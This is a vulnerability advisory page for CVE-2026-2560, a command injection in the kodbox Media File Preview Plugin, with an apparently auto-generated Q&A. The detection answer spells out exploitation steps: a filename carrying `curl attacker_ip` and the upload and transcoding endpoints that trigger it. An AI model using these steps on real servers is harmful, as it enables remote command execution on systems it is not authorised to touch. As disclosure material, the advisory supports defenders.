CVE-2026-2560
OS Command Injection in kalcaddle kodbox Media File Preview Plugin
Publication date: 2026-02-16
Last updated on: 2026-04-29
Assigner: VulDB
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| kalcaddle | kodbok | to 1.64.05 (inc) |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-77 | The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. |
| CWE-78 | The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
CVE-2026-2560 is a command injection vulnerability in the Media File Preview Plugin of kalcaddle kodbox versions up to 1.64.05. It occurs in the run() function of the file VideoResize.class.php, where a user-controlled variable named localFile is directly concatenated into a shell command string used to execute ffmpeg for video transcoding.
Because the localFile argument is not properly sanitized, an attacker can embed shell metacharacters in a crafted video filename. This allows arbitrary operating system commands to be executed on the server with the privileges of the web server process when the transcoding process is triggered.
The attack requires an authenticated user to upload a specially named video file, which then triggers the command injection during processing. The vulnerability is remotely exploitable and has a publicly available proof-of-concept exploit.
How can this vulnerability impact me? :
This vulnerability allows an attacker to execute arbitrary operating system commands on the affected server with the privileges of the web server process.
The impact includes potential compromise of confidentiality, integrity, and availability of the system. An attacker could use this to gain unauthorized access, manipulate or destroy data, or disrupt services.
Since the exploit can be triggered remotely by uploading a crafted video file, it poses a significant security risk to any system running the vulnerable version of kalcaddle kodbox with the Media File Preview Plugin enabled.
How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:
I don't know
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by verifying if the vulnerable version of kalcaddle kodbox (up to 1.64.05) with the Media File Preview Plugin is in use, specifically checking for the presence of the file plugins/fileThumb/lib/VideoResize.class.php.
One detection method involves attempting to trigger the vulnerability by uploading a video file with a crafted filename containing shell metacharacters and then sending a GET request to the transcoding endpoint to observe if arbitrary commands execute.
A practical detection approach includes monitoring network traffic for unusual outbound connections initiated by the server during video transcoding, such as unexpected HTTP requests to attacker-controlled servers.
- Start a listener on an attacker-controlled server (e.g., using: python3 -m http.server 80).
- Upload a video file renamed to include a command injection payload, for example: video`curl attacker_ip`.mp4.
- Retrieve the uploaded file path from the upload API response at /?explorer/upload/fileUpload.
- Trigger the transcoding process by sending a GET request to /?plugin/fileThumb/videoSmall&noOutput=1&path={uploaded_file_path}.
If the attacker-controlled server receives a connection, it confirms the presence of the vulnerability and successful command injection.
What immediate steps should I take to mitigate this vulnerability?
No known mitigations or countermeasures have been published by the vendor for this vulnerability.
The recommended immediate step is to replace or upgrade the affected component (kalcaddle kodbox Media File Preview Plugin) to a version that is not vulnerable or to an alternative product.
As a temporary measure, restrict access to the vulnerable plugin or disable the Media File Preview Plugin to prevent exploitation.
Monitor your system for suspicious activity, especially unexpected outbound connections during video processing.